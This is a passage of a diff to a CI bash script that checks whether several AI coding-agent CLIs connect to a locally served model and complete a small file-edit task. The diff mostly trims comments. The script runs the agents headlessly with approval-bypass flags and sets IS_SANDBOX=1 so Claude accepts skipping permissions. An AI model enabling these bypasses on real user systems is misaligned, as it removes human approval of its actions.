: "${UNSLOTH_BASE_URL:?serve step did not export UNSLOTH_BASE_URL}"
: "${UNSLOTH_API_KEY:?serve step did not export UNSLOTH_API_KEY}"
: "${UNSLOTH_MODEL_ID:?serve step did not export UNSLOTH_MODEL_ID}"
-# Determinism (seed/temp) is applied at the server level by
-# serve-unsloth-run.sh --extra; agents inherit it through the API.
TIMEOUT="${AGENT_INVOKE_TIMEOUT:-180}"
-# opencode is the slow outlier. Unlike the print-mode agents (claude -p, codex
-# exec) it runs a full turn AND a separate small_model call to name the session,
-# so one connection reply takes ~8 min on a CPU-served 4B -- right at the shared
-# 600s cap, so the cell flaked when a run drifted past a ~480s success. Give it
-# headroom (still well under the 40-min job budget); the fast agents keep the
-# tight cap that still catches a real headless-TTY hang.
+# opencode makes an extra session-naming call, so it needs a longer timeout than the others.
case "$AGENT" in
opencode)
- # Double it, but only for a bare-integer seconds value. A GNU timeout(1)
- # duration suffix (s/m/h/d, including floats like 0.5s) is left unchanged so
- # the arithmetic never sees a non-number; timeout(1) parses it directly.
+ # Double only a bare-integer value; timeout(1) suffixes are left unchanged.
case "$TIMEOUT" in
*[!0-9]*) ;;
*) TIMEOUT=$(( TIMEOUT * 2 )) ;;
@@ -49,15 +24,9 @@ case "$AGENT" in
;;
esac
-# Claude refuses --dangerously-skip-permissions outside a sandbox; the CI runner
-# IS the sandbox, so declare it (mirrors unslothai/scripts launcher.sh). Harmless
-# to the other agents, which ignore it.
+# Claude refuses --dangerously-skip-permissions outside a sandbox; the CI runner is one.
export IS_SANDBOX=1
-# Absolute paths anchored at the repo root (this script lives in
-# .github/scripts/). Everything writes here regardless of the current working
-# directory, so the file-edit mode can `cd` into a scratch work dir without
-# breaking log/redaction writes.
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
REPO_ROOT="$(cd "$SCRIPT_DIR/../.." && pwd)"
LOGS_DIR="$REPO_ROOT/logs"
@@ -67,29 +36,12 @@ CACHE_HELPER="$SCRIPT_DIR/assert-prompt-cache.sh"
mkdir -p "$LOGS_DIR" "$REDACTED_DIR"
CONNECT_REF="unsloth_cli/commands/start.py"
-# Prefill-shrinking flags for Claude Code. The heavyweight agents send
-# multi-thousand-token system prompts + full tool schemas, which on a CPU-only
-# runner is minutes of prefill per model round-trip (~16 tok/s for a 4B model).
-# Replacing the ~5.7k default system prompt with a tiny one (--system-prompt-file)
-# and restricting tools cuts the prefill to a few hundred tokens so it completes
-# quickly on CPU. These only shape the request size; the start.py recipe
-# (endpoint, auth, model) is still exercised end to end.
-# The bulk of Claude Code's prompt is the built-in tool JSON schemas: measured
-# via `claude -p /context`, the default prompt is ~28k tokens of which ~18k is
-# "System tools" alone. --allowedTools/--disallowedTools only gate PERMISSION to
-# call a tool; they do NOT remove its schema from what is sent to the model, so
-# the earlier whitelist left the full ~18k in the prompt and CPU prefill
-# (~16 tok/s) overran claude's own request timeout into a retry loop. --tools is
-# the flag that restricts which schemas are sent. (The ~8k "Memory files" chunk
-# is auto-loaded CLAUDE.md; the unsloth repo ships none, so it is 0 in CI.)
-# Connection probe: --tools "" sends ZERO tool schemas, leaving ~20 tokens total
-# (a one-line --system-prompt-file + the user turn), which prefills instantly.
+# Shrink Claude's prefill for CPU serving. --tools limits which schemas are sent;
+# --allowedTools only gates permission.
CLAUDE_CONNECT_FLAGS=(
--system-prompt-file "$SCRIPT_DIR/ci-connect-prompt.txt"
--tools ""
)
-# File-edit: the task needs the file/shell tools, so send only those schemas
-# (~2.3k tokens vs ~18k for the full set).
CLAUDE_EDIT_FLAGS=(
--system-prompt-file "$SCRIPT_DIR/ci-min-system-prompt.txt"
--tools "Bash,Edit,Write,Read"
@@ -100,9 +52,7 @@ guide_fail() {
exit 1
}
-# Redact the API key from any file we are about to keep as an artifact.
-# Portable across GNU sed (Linux runners) and BSD sed (macOS), so the
-# redaction is never silently skipped.
+# Portable across GNU and BSD sed so redaction is never skipped.
redact() {
local f
for f in "$@"; do
@@ -115,14 +65,11 @@ redact() {
done
}
-# Print a file to the log with the key scrubbed, without mutating it (the raw file is
-# still needed to parse the real env). Use this instead of `cat` for any transcript that
-# carries an `export UNSLOTH_API_KEY=...` line, so a live key never reaches Actions logs.
+# Print with the key scrubbed, leaving the file intact for env parsing.
cat_redacted() {
sed "s#${UNSLOTH_API_KEY}#<REDACTED>#g" "$1"
}
-# A reply must be non-empty and free of connection/auth errors.
assert_reply() {
local out="$1"
if [ ! -s "$out" ]; then
@@ -135,28 +82,9 @@ assert_reply() {
head -20 "$out"
}
-# Run a command under a hard timeout. Two unrelated things hit the cap and only
-# one of them is guide drift:
-# * nothing was ever printed -> the recipe blocked on a headless TTY prompt,
-# which is exactly the class-(c) failure this script exists to catch.
-# * a transcript was printed -> the CLI did the work and then failed to exit.
-# opencode did this on 2026-08-03: it ran the tool, printed 'Hello', and sat
-# there for the remaining 18 min with llama-server serving nothing. It is
-# intermittent, not a one-way regression -- the same two turns took 635s the
-# week before and 633s the day after.
-# Blaming start.py for the second is wrong, so flag it and let the caller judge
-# the turn on its assertions. TIMED_OUT is global: callers with no assertion that
-# can rescue a partial turn (connection, resume, attribution-ab) treat it as fatal.
-# Deciding that the cap was hit needs care. timeout(1) reports 124 when the
-# command dies on the TERM it sends, but a CLI that catches or ignores TERM is
-# not bounded at all without --kill-after (measured: a TERM-ignoring loop under
-# `timeout 2` was still alive 8s later). --kill-after makes that case exit 137
-# -- and so does an unrelated SIGKILL, e.g. the OOM killer, which must NOT be
-# waived as a timeout. The two are indistinguishable by status, so read the wall
-# clock instead of the exit code: only a 137 that arrives at or after the
-# deadline is an expiry (measured: kill-after fired at 5s on a 3s cap, an
-# external kill -9 landed at 1s on a 30s cap).
-run_timed() { # $1=outfile, rest=command
+# Run under a hard timeout. Sets TIMED_OUT when the cap was hit; a 137 counts only at the
+# deadline, since an unrelated SIGKILL (OOM) also returns 137.
+run_timed() {
local out="$1"; shift
TIMED_OUT=0
TURN_DONE=0
@@ -166,15 +94,7 @@ run_timed() { # $1=outfile, rest=command
timeout --kill-after=30 "$TIMEOUT" "$@" > "$out" 2>&1
rc=$?
else
- # An agent that prints an end-of-run marker does not have to exit before its
- # turn can be judged. openclaw finishes and then holds its session write lock
- # for the rest of the cap: on 2026-09-06 it answered `pong` and logged
- # `ended with stopReason=stop` 39ms after the model replied, then sat there
- # for the remaining 1200s, costing a 20 minute job and a "never completed a
- # turn" verdict its own transcript contradicted. Give the CLI EXIT_GRACE
- # seconds to leave on its own once the marker lands, then take it down, so
- # the caller judges a finished turn instead of a cap. Only agents with such a
- # marker opt in; for everyone else this is the same blocking call as before.
+ # Agents with an end-of-run marker (TURN_DONE_RE) get EXIT_GRACE seconds to exit, then are killed.
: > "$out"
timeout --kill-after=30 "$TIMEOUT" "$@" > "$out" 2>&1 &
local tpid=$! seen=""
@@ -183,11 +103,7 @@ run_timed() { # $1=outfile, rest=command
grep -qF -- "$TURN_DONE_RE" "$out" 2>/dev/null && seen=$SECONDS
elif [ $(( SECONDS - seen )) -ge "${EXIT_GRACE:-30}" ]; then
TURN_DONE=1
- # The whole group, not timeout(1) and not its direct child. The command
- # is a bash wrapper that runs the agent, so signalling either one leaves
- # the CLI orphaned and unbounded -- the state this is here to end.
- # timeout(1) gives its child a group of its own, so that group is exactly
- # the invocation; refuse to fire if it ever resolves to ours.
+ # Kill the whole process group of timeout's child, never our own group.
local kid pg
kid="$(pgrep -P "$tpid" 2>/dev/null | head -1)"
pg="$(ps -o pgid= -p "${kid:-0}" 2>/dev/null | tr -d ' ')"
@@ -208,17 +124,9 @@ run_timed() { # $1=outfile, rest=command
rc=$?
fi
local elapsed=$(( SECONDS - t0 ))
- # Neither status proves expiry on its own. 137 is also an unrelated SIGKILL,
- # and 124 is also whatever the CLI itself chose to exit with -- timeout(1)
- # otherwise returns "the exit status of COMMAND", and an agent that hit its
- # own internal request timeout can exit 124 early, after leaving hello.py
- # behind. So both statuses have to agree with the clock. SECONDS is
- # truncated to whole seconds at both ends, so allow one second of slack;
- # a CLI-originated 124 returns nowhere near the cap.
+ # Both 124 and 137 must agree with the clock; allow one second of slack for SECONDS truncation.
local expired=0
case "$TIMEOUT" in
- # A timeout(1) duration suffix (600s / 10m) is not a number we can compare,
- # so fall back to trusting 124 alone rather than parsing it.
*[!0-9]*) [ "$rc" -eq 124 ] && expired=1 ;;
*)
if [ "$rc" -eq 124 ] || [ "$rc" -eq 137 ]; then
@@ -231,31 +139,18 @@ run_timed() { # $1=outfile, rest=command
echo "[$AGENT] last 40 lines before timeout:"; tail -40 "$out" 2>/dev/null || true
[ -s "$out" ] || guide_fail "invoke timed out after ${TIMEOUT}s having printed nothing (headless-TTY hang -- the recipe likely needs a non-interactive/print flag)"
TIMED_OUT=1
- # State the fact, not the verdict. Three callers (connection, resume,
- # attribution-ab) have no assertion that can rescue a partial turn and treat
- # a cap as fatal on purpose, so promising that the turn will be judged on its
- # assertions was wrong for exactly the cases most likely to hit it -- and it
- # is what a reader sees immediately above the error that contradicts it.
echo "::warning::[$AGENT] the CLI printed a transcript but did not exit within ${TIMEOUT}s; whether that is fatal is the caller's call."
- # The marker can land inside the last poll interval, or after a cap reached
- # without the watcher. Either way the turn is over, and the caller may say so.
if [ -n "${TURN_DONE_RE:-}" ] && grep -qF -- "$TURN_DONE_RE" "$out" 2>/dev/null; then
TURN_DONE=1
fi
fi
if [ "${TURN_DONE:-0}" = 1 ]; then
- # The fact, not the verdict, for the same reason the cap warning states one:
- # what a finished-but-hung run means is the caller's to say, and a promise
- # made here is read directly above whatever the caller decides.
echo "::warning::[$AGENT] the CLI logged the end of its run (${TURN_DONE_RE}) and then would not exit."
fi
return "$rc"
}
-# Read a value from an `export VAR=...` line in the connect --no-launch output.
-# `unsloth start` writes each agent's session config off the user's ~ and points
-# at it through a relocation env var (CODEX_HOME / OPENCODE_CONFIG /
-# OPENCLAW_CONFIG_PATH), so the contract checks read the path from here.
+# Read a value from an `export VAR=...` line in the --no-launch output.
raw_env() { # $1 = var name -> value (one shlex-quote layer stripped)
local raw="$LOGS_DIR/connect-${AGENT}.txt"
local v; v="$(sed -n "s/^export $1=//p" "$raw" | tail -1)"
@@ -263,14 +158,9 @@ raw_env() { # $1 = var name -> value (one shlex-quote layer stripped)
}
# ── 5-agent start.py path: parse env + command from --no-launch ─────────
-# Populates globals CONNECT_ENV (export/unset lines) and CONNECT_CMD (the
-# launch command on the last printed line), and runs start.py's config
-# writers as a side effect (it writes each agent's relocated session config).
+# Sets CONNECT_ENV and CONNECT_CMD; also runs start.py's config writers as a side effect.
parse_connect() {
local raw="$LOGS_DIR/connect-${AGENT}.txt"
- # CONNECT_YOLO=1 adds --yolo. opencode/openclaw gate tool approval through their
- # config (which now prompts by default), so the file-edit test opts into auto-approval
- # here, the same intent as claude/codex's per-call bypass flags.
local yolo=()
[ -n "${CONNECT_YOLO:-}" ] && yolo=(--yolo)
# dsh's `--profile headless`: its default recipe opens the browser UI instead.
@@ -283,16 +173,13 @@ parse_connect() {
fi
echo "[$AGENT] connect --no-launch printed:"; cat_redacted "$raw"
CONNECT_ENV="$(grep -E '^(export |unset )' "$raw" || true)"
- # The launch command is the last non-export, non-status line. start.py
- # prints "Unsloth <url> · model <id>" and "Updated ..." status lines first.
+ # The launch command is the last line that is not an export or status line.
CONNECT_CMD="$(grep -vE '^(export |unset |Unsloth |Updated |Disabled |Warning|Loading)' "$raw" \
| grep -E '[^[:space:]]' | tail -1)"
[ -n "$CONNECT_CMD" ] || guide_fail "could not parse a launch command from connect --no-launch output"
redact "$raw"
}
-# Cross-check the documented contract knobs so silent start.py changes
-# (env-var rename, wire_api flip, attribution setting drop) also fail/flag.
crosscheck_contract() {
local raw="$LOGS_DIR/connect-${AGENT}.txt"
local cfg home
@@ -301,8 +188,6 @@ crosscheck_contract() {
grep -q 'UNSLOTH_STUDIO_AUTH_TOKEN' "$raw" \
|| guide_fail "Codex env key is no longer UNSLOTH_STUDIO_AUTH_TOKEN (start.py _CODEX_ENV_KEY)"
home="$(raw_env CODEX_HOME)"
- # An empty relocation var would make cfg "/config.toml" and silently
- # skip the [ -f ] contract check below; fail loudly instead.
[ -n "$home" ] || guide_fail "CODEX_HOME missing from connect output (start.py codex())"
cfg="$home/config.toml"
if [ -f "$cfg" ]; then
@@ -340,8 +225,6 @@ crosscheck_contract() {
[ -n "$cfg" ] && [ -f "$cfg" ] && cp "$cfg" "$REDACTED_DIR/opencode.json"
;;
pi)
- # Pi has no config-dir env var; the session is HOME-relocated, and the
- # provider config lives at $HOME/.pi/agent/models.json.
cfg="$(raw_env HOME)/.pi/agent/models.json"
if [ -f "$cfg" ]; then
grep -q '"openai-completions"' "$cfg" \
@@ -366,7 +249,6 @@ crosscheck_contract() {
vibe)
grep -q 'UNSLOTH_API_KEY' "$raw" \
|| guide_fail "Vibe env key is no longer UNSLOTH_API_KEY (start.py _VIBE_ENV_KEY)"
- # Provider and model ride in the env layer (start.py _vibe_env), not a config file.
cfg="$(raw_env VIBE_PROVIDERS)"
[ -n "$cfg" ] || guide_fail "VIBE_PROVIDERS missing from connect output (start.py _vibe_env)"
grep -q '"api_style": "openai"' <<<"$cfg" \
@@ -377,32 +259,15 @@ crosscheck_contract() {
redact "$REDACTED_DIR"/* 2>/dev/null || true
}
-# Heavyweight agents (hermes, openclaw) bake a large system prompt + tool JSON
-# schemas into every request, which a CPU runner cannot prefill before the invoke
-# timeout. As with claude's --tools, we shrink the request from the agent's own
-# config: zero tools for the connection probe collapses the prompt to a few
-# hundred tokens, since both CLIs gate the bulk of their prompt on having tools.
-
-# Hermes: an explicit empty cli toolset disables all tools (and drops the
-# tool-gated guidance blocks), so -z sends ~300 tokens instead of thousands.
-# Hermes enables its default cli toolset when the session config does not pin one,
-# so we must set platform_toolsets.cli explicitly to [] (not just append) to get
-# zero tools. That needs a YAML parser, and the runner's bare python3 has no
-# PyYAML -- but the venv that ships `unsloth` does (start.py imports yaml), so run
-# the patch with that interpreter. We patch the relocated $HERMES_HOME/config.yaml
-# that `unsloth start` printed, not the user's ~/.hermes.
-# (-z reads platform_toolsets.cli; --ignore-rules is a no-op under -z.)
+# Heavyweight agents: shrink the request via their own config so CPU prefill fits the timeout.
+
+# platform_toolsets.cli must be set to [] explicitly to get zero tools. Needs PyYAML, so use
+# the interpreter from the `unsloth` venv.
patch_hermes_tools() { # $1 = none|default
- # Check the raw var BEFORE appending /config.yaml: the joined path is never
- # empty, so the old guard could not fire and the patcher would die on
- # "/config.yaml" with a bare traceback instead of this clear failure.
+ # Check the raw var before appending /config.yaml; the joined path is never empty.
local home; home="$(raw_env HERMES_HOME)"
[ -n "$home" ] || guide_fail "Hermes HERMES_HOME missing from connect output (start.py hermes())"
local cfg; cfg="$home/config.yaml"
- # Find a python that can import yaml. The runner's bare python3 cannot, but the
- # interpreter in the `unsloth` console-script shebang provably can (it runs
- # start.py's write_hermes_config, which imports yaml). Try that first, then
- # any python on PATH, then the venv sibling, picking the first with PyYAML.
local cand py="" shebang
shebang="$(head -1 "$(command -v unsloth)" 2>/dev/null | sed -n 's/^#![[:space:]]*//p' | awk '{print $1}')"
for cand in "$shebang" python3 python "$(dirname "$(command -v unsloth)")/python"; do
@@ -431,14 +296,8 @@ print(f"[hermes] platform_toolsets.cli = {ts.get('cli', 'default')}")
PY
}
-# OpenClaw: 'openclaw agent' has no tool/prompt flags, so we define a 'ci' agent
-# in openclaw.json. tools.deny ["*"] sends zero tool schemas (deny always wins)
-# for the connection probe; contextInjection "never" + defaults.skipBootstrap
-# drop the auto-injected AGENTS.md/SOUL.md bootstrap (the bulk of the prompt) for
-# both modes. --agent must reference a defined agent, so write it before invoking.
+# openclaw has no tool/prompt flags, so define a 'ci' agent in openclaw.json before invoking.
patch_openclaw_agent() { # $1 = notools|tools
- # OpenClaw reads its config from the relocated OPENCLAW_CONFIG_PATH that
- # `unsloth start` printed, so patch THAT file (not the user's ~/.openclaw).
local cfg; cfg="$(raw_env OPENCLAW_CONFIG_PATH)"
[ -n "$cfg" ] || guide_fail "OpenClaw OPENCLAW_CONFIG_PATH missing from connect output (start.py openclaw())"
python3 - "$1" "$cfg" <<'PY'
@@ -479,20 +338,13 @@ print(f"[openclaw] agent ci tools = {agent.get('tools', 'default')}")
PY
}
-# Build an invoke script that applies start.py's env then runs the launch
-# command (with extra args appended) under bash. We do NOT eval connect's env
-# into this shell; we write it into a one-shot script so the export/unset
-# semantics are exactly what start.py printed. The script path is absolute
-# so it is valid even when the caller has cd'd into a scratch work dir.
+# Write start.py's env into a one-shot script instead of eval-ing it here.
invoke_via_connect() { # $1=outfile, rest=extra args appended to the command
local out="$1"; shift
local script="$LOGS_DIR/invoke-${AGENT}.sh"
local real; real="$(mktemp)"
- # CONNECT_ENV_EXTRA / CONNECT_CMD_OVERRIDE let a caller (attribution-ab) flip a
- # session knob without editing the user's config; empty -> use what start.py emitted.
local cmd="${CONNECT_CMD_OVERRIDE:-$CONNECT_CMD}"
- # A bare V2 recipe ends in --standalone for the TUI. Once this driver adds the
- # run subcommand, V2 requires that option after run instead of before it.
+ # V2 requires --standalone after the run subcommand, not before it.
if [ "$AGENT" = opencode ] && [[ "$cmd" == *" --standalone" ]] && [ "${1:-}" = run ]; then
cmd="${cmd% --standalone}"
set -- run --standalone "${@:2}"
@@ -501,21 +353,13 @@ invoke_via_connect() { # $1=outfile, rest=extra args appended to the command
echo "set -uo pipefail"
echo "$CONNECT_ENV"
[ -n "${CONNECT_ENV_EXTRA:-}" ] && echo "$CONNECT_ENV_EXTRA"
- # Append extra args (the prompt / flags) to the launch command verbatim.
printf '%s' "$cmd"
local a
for a in "$@"; do printf ' %q' "$a"; done
printf '\n'
} > "$real"
- # Upload a REDACTED copy of the script, but EXECUTE the un-redacted one from a
- # temp path outside the artifact dir. Redacting the script we run would turn
- # the real `export TOKEN=sk-...` line into `export TOKEN=<REDACTED>`, which is
- # invalid bash (the `<`/`>` are redirections) and silently breaks every agent.
- # Writing the redacted copy up front keeps the key out of the artifact even if
- # the run times out (run_timed exits before returning here).
+ # Upload a redacted copy but run the original: `<REDACTED>` is invalid bash.
cp "$real" "$script"; redact "$script"
- # The connect one-liner now carries the key as an inline env assignment; scrub it on
- # the way to the log (the executed $real keeps the live value).
echo "[$AGENT] invoking (timeout ${TIMEOUT}s): ${cmd//${UNSLOTH_API_KEY}/<REDACTED>} $*"
run_timed "$out" bash "$real"
local rc=$?
@@ -532,55 +376,29 @@ case "$MODE" in
case "$AGENT" in dsh) CONNECT_START_ARGS='--profile headless' ;; esac
parse_connect
crosscheck_contract
- # claude/codex run in print mode via the flags start.py emits
- # (claude -p / codex exec). For agents whose default subcommand prints
- # to stdout we pass the prompt through ctx.args.
case "$AGENT" in
claude) invoke_via_connect "$OUT" "${CLAUDE_CONNECT_FLAGS[@]}" -p "$PROMPT" ;;
codex) invoke_via_connect "$OUT" exec --dangerously-bypass-approvals-and-sandbox "$PROMPT" ;;
opencode) invoke_via_connect "$OUT" run "$PROMPT" ;;
pi) invoke_via_connect "$OUT" -p "$PROMPT" ;;
- # Zero tool schemas, as for claude/hermes: only the endpoint, auth and model are under test.
vibe) invoke_via_connect "$OUT" --disabled-tools '*' -p "$PROMPT" ;;
hermes) patch_hermes_tools none
invoke_via_connect "$OUT" -z "$PROMPT" ;;
openclaw) patch_openclaw_agent notools
- # openclaw logs this once per run, and only when the run is over
- # ("run <uuid> ended with stopReason=stop"). It is the one signal
- # here that a banner cannot forge, so it is what lets a hung exit
- # be told apart from a turn that never came back.
+ # Logged only when an openclaw run is over, so a banner cannot fake it.
TURN_DONE_RE='ended with stopReason='
CONNECT_CMD_OVERRIDE=openclaw invoke_via_connect "$OUT" agent --local --agent ci \
--model "unsloth/${UNSLOTH_MODEL_ID}" --message "$PROMPT" ;;
*) invoke_via_connect "$OUT" "$PROMPT" ;;
esac
- # A non-zero exit from the documented launch command is drift even if it
- # printed something: a benign-looking "command not found" / usage dump would
- # otherwise slip past assert_reply (which only flags empty/error-keyword text).
- # A timeout is no exception here. assert_reply cannot tell a completed reply
- # from a startup banner (it checks for non-empty text without the connection
- # /auth error strings, not for the requested "pong"), so waiving a cap would
- # report "connection OK" for a recipe that printed a banner and then blocked
- # on a headless prompt -- the exact failure this job exists to catch.
+ # Non-zero exit is drift even with output. A timeout is fatal: assert_reply cannot tell a reply from a banner.
rc=$?
- # Two different failures, and pointing both at start.py costs an
- # investigation. A cap means the launch command was fine and the turn never
- # came back: on 2026-08-19 codex printed a correct banner (right provider,
- # right model) and then sat on `ERROR: Reconnecting... 1/5` for the whole
- # 600s. Nothing about the documented flow had drifted, and guide_fail said it
- # had. It is still fatal -- see the note above on why a cap cannot be waived
- # here -- but it is reported as what it is.
+ # A cap is reported separately from drift; it is still fatal.
if [ "${TIMED_OUT:-0}" = 1 ] && [ "${TURN_DONE:-0}" != 1 ]; then
echo "::error::[$AGENT] the documented launch command started but never completed a turn within ${TIMEOUT}s. The recipe in ${CONNECT_REF} is not implicated: the transcript above shows what the CLI was doing when the cap hit. A connection or model-server failure looks like this; so does a headless prompt, which prints nothing at all." >&2
exit 1
fi
- # TURN_DONE is not a waiver of the cap, it is the assertion the cap was
- # missing. The reason connection could never rescue a hang is that
- # assert_reply cannot tell a completed reply from a startup banner; an
- # end-of-run line the agent prints only when a run terminates can. A banner
- # still carries no marker and still fails above. The rc check is skipped only
- # here, because the non-zero status is the one run_timed produced itself when
- # it stopped a CLI that had already finished.
+ # TURN_DONE proves the turn finished, so the rc from run_timed's own kill is skipped only then.
if [ "${TURN_DONE:-0}" != 1 ]; then
[ "$rc" -eq 0 ] || guide_fail "the documented launch command exited non-zero (rc=$rc) -- see the transcript above"
fi
@@ -595,59 +413,41 @@ case "$MODE" in
OUT1="$LOGS_DIR/${AGENT}-fileedit-turn1.txt"
OUT2="$LOGS_DIR/${AGENT}-fileedit-turn2.txt"
T1='Create a file named hello.py in the current directory whose entire contents are a single line: print("Hello"). Do not run it.'
- # One instruction only. Also asking for a ran.txt copy (#7838) made opencode
- # narrate the tool call and create no file, where the one-part prompt had run
- # for real in ~90s every time.
+ # Keep a single instruction; a two-part prompt made opencode narrate instead of acting.
T2='Run hello.py with python and show me the exact output.'
- # The start.py recipe writers + crosscheck must see the repo; run them
- # from the repo root BEFORE cd-ing into the scratch work dir. opencode/openclaw
- # gate tool approval through their config (prompting by default), so file-edit
- # opts them into auto-approval to run edits/commands headlessly.
+ # Run the recipe writers from the repo root before entering the scratch work dir.
case "$AGENT" in
opencode|openclaw|vibe) CONNECT_YOLO=1 ;;
- # A headless run has nobody to answer dsh's approval asks.
dsh) CONNECT_YOLO=1; CONNECT_START_ARGS='--profile headless' ;;
esac
parse_connect
crosscheck_contract
- # File-edit needs real tools, so we cannot zero them as in connection.
- # hermes keeps default tools; openclaw still strips its AGENTS.md/SOUL.md
- # bootstrap (the largest prompt chunk) via the 'ci' agent. The scratch work
- # dir is empty, so no project context files are auto-loaded either.
case "$AGENT" in
hermes) patch_hermes_tools default ;;
openclaw) patch_openclaw_agent tools ;;
esac
- # Drive from inside the work dir so the agent edits files there. All log
- # writes use absolute $LOGS_DIR, so cwd does not matter for them.
cd "$WORK" || guide_fail "could not enter work dir $WORK"
invoke_turn() { # $1=outfile $2=continue? $3=prompt
local out="$1" cont="$2" prompt="$3"
case "$AGENT" in
pi)
- # Pi continues the previous session with -c; provider/model come from
- # the parsed `unsloth start pi` recipe (CONNECT_CMD), not hardcoded here.
if [ "$cont" = "continue" ]; then
invoke_via_connect "$out" -p --continue "$prompt"
else
invoke_via_connect "$out" -p "$prompt"
fi ;;
claude)
- # --dangerously-skip-permissions lets headless claude actually use the
- # Write/Bash tools (otherwise it blocks on an approval prompt and emits
- # nothing). IS_SANDBOX=1 (exported above) authorizes it.
+ # IS_SANDBOX=1 (exported above) authorizes --dangerously-skip-permissions.
if [ "$cont" = "continue" ]; then
invoke_via_connect "$out" "${CLAUDE_EDIT_FLAGS[@]}" --dangerously-skip-permissions -p --continue "$prompt"
else
invoke_via_connect "$out" "${CLAUDE_EDIT_FLAGS[@]}" --dangerously-skip-permissions -p "$prompt"
fi ;;
codex)
- # --dangerously-bypass-approvals-and-sandbox gives codex exec
- # workspace-write (default is read-only -> cannot create hello.py) and
- # skips the bubblewrap sandbox that the runner lacks.
+ # Needed for workspace-write, and the runner lacks bubblewrap.
if [ "$cont" = "continue" ]; then
invoke_via_connect "$out" exec --dangerously-bypass-approvals-and-sandbox resume --last "$prompt"
else
@@ -656,7 +456,6 @@ case "$MODE" in
opencode) invoke_via_connect "$out" run "$prompt" ;;
hermes) invoke_via_connect "$out" -z "$prompt" ;;
vibe)
- # Only the schemas the task needs, as for claude; -c continues the session under VIBE_HOME.
local tools=(--enabled-tools bash --enabled-tools read_file --enabled-tools write_file)
if [ "$cont" = "continue" ]; then
invoke_via_connect "$out" "${tools[@]}" -c -p "$prompt"
@@ -669,17 +468,13 @@ case "$MODE" in
esac
}
- # Turn 1: create hello.py.
invoke_turn "$OUT1" fresh "$T1"
- # Fail on a non-zero agent exit before trusting side effects: an agent can
- # error out (API/tool failure) yet leave a plausible file/transcript behind,
- # which would otherwise slip past the assertions below (mirrors connection).
+ # Fail on non-zero exit before trusting side effects.
rc=$?
[ "$rc" -eq 0 ] || [ "${TIMED_OUT:-0}" = 1 ] \
|| { echo "[$AGENT] turn-1 transcript:"; tail -40 "$OUT1" 2>/dev/null || true; \
guide_fail "turn 1 (create hello.py) exited non-zero (rc=$rc)"; }
- # Hard assertions on the side effect (the real test): file + content + run.
if [ ! -f hello.py ]; then
echo "[$AGENT] turn-1 transcript:"; tail -40 "$OUT1" 2>/dev/null || true
guide_fail "turn 1 did not create hello.py"
@@ -689,12 +484,7 @@ case "$MODE" in
[ "$RUN_OUT" = "Hello" ] || guide_fail "python3 hello.py printed '$RUN_OUT', expected exactly 'Hello'"
echo "[$AGENT] turn 1 OK (file created, prints 'Hello')"
- # Turn 2: same cwd + session continuation; assert the agent's run output
- # contains Hello. Narration drift is WARN-only, missing output is a hard fail.
- # No cap waiver here, unlike turn 1, whose side effect the harness re-runs
- # itself: turn 1's assertions all ran before this started, so a cap leaves
- # only the transcript, and 'Hello' is hello.py's source, its stdout and a
- # narration of it alike. Fatal, as for connection, resume, attribution-ab.
+ # A cap is fatal for turn 2: 'Hello' appears in source, output and narration alike.
invoke_turn "$OUT2" continue "$T2"
rc=$?
[ "$rc" -eq 0 ] \
@@ -713,41 +503,28 @@ case "$MODE" in
# ── attribution-ab: Claude Code KV-cache HIT vs MISS ────────────────────
attribution-ab)
[ "$AGENT" = "claude" ] || guide_fail "attribution-ab only applies to claude"
- # The llama-server log filename uses the INTERNAL random llama.cpp port,
- # not STUDIO_PORT, so we never glob by port: assert-prompt-cache.sh picks
- # the newest llama-*.log and we slice it by a byte offset (`mark`) captured
- # right before the measured turn, so an earlier turn's reuse can't leak in.
+ # The log name uses llama.cpp's random internal port, so slice the newest log by byte offset.
LLAMA_LOG_DIR="${UNSLOTH_LLAMA_LOG_DIR:-$HOME/.unsloth/studio/logs/llama-server}"
export LLAMA_LOG_DIR
- parse_connect # prints session env + suppression flags (no ~/.claude write)
+ parse_connect
crosscheck_contract
PROMPT='Reply with exactly the single word: pong'
- # The four invokes below never check rc, so run_timed's cap was their only
- # hang guard. Nothing here can adjudicate a partial turn either -- the
- # verdict is a llama-server log slice -- so a cap stays fatal, as it does
- # for connection and resume.
- # --tools "" and nothing else: gemma-3-270m declares no tools, so /v1/messages now 400s
- # the default 25 schemas. The system prompt stays -- the attribution line lives in it.
+ # A cap is fatal here. Only --tools "": gemma-3-270m rejects tool schemas, and the
+ # system prompt must stay because it carries the attribution line.
ab_invoke() {
invoke_via_connect "$1" --tools "" "${@:2}"
[ "${TIMED_OUT:-0}" = 1 ] && guide_fail "attribution-ab invoke timed out after ${TIMEOUT}s; the A/B cannot be judged from a partial turn"
return 0
}
- # Phase A: the suppression start.py ships (CLAUDE_CODE_ATTRIBUTION_HEADER=0 +
- # --exclude-dynamic-system-prompt-sections + --settings overlay) -> expect a
- # HIT on the continued turn, since the system-prompt prefix is stable.
- ab_invoke "$LOGS_DIR/claude-ab-hit-1.txt" -p "$PROMPT" # turn 1 primes
- FROM_HIT="$(bash "$CACHE_HELPER" mark)" # offset before turn 2
+ # Phase A: start.py's suppression, expect a cache HIT on the continued turn.
+ ab_invoke "$LOGS_DIR/claude-ab-hit-1.txt" -p "$PROMPT"
+ FROM_HIT="$(bash "$CACHE_HELPER" mark)"
ab_invoke "$LOGS_DIR/claude-ab-hit-2.txt" -p --continue "$PROMPT again"
CACHE_LOG_FROM="$FROM_HIT" bash "$CACHE_HELPER" log HIT
- # Phase B: vanilla Claude with the header ENABLED -> expect a MISS. We flip
- # the env var to 1 and strip the suppression flags from the launch command
- # (without them the dynamic attribution line is included and changes every
- # turn, so the shared prefix moves and the KV cache is invalidated, ~90%
- # slower). This is session-only: nothing is written to ~/.claude.
+ # Phase B: header enabled and suppression flags stripped, expect a MISS. Session-only.
CONNECT_ENV_EXTRA='export CLAUDE_CODE_ATTRIBUTION_HEADER=1'
CONNECT_CMD_OVERRIDE="$(printf '%s' "$CONNECT_CMD" \
| sed -E "s/ --exclude-dynamic-system-prompt-sections//; s/ --settings '[^']*'//")"
@@ -760,24 +537,14 @@ case "$MODE" in
;;
# ── resume: does a launched agent's session survive exit and resume? ────
- # Unlike the other modes, this drives the real LAUNCH path (`unsloth start
- # <agent> ...`, the interactive default), not the --no-launch recipe. That
- # path relocates each agent's home to a throwaway temp dir wiped on exit, so
- # a session cannot be resumed -- unless --persist routes it to the stable
- # Unsloth agents dir instead. We run one headless turn per pass and check
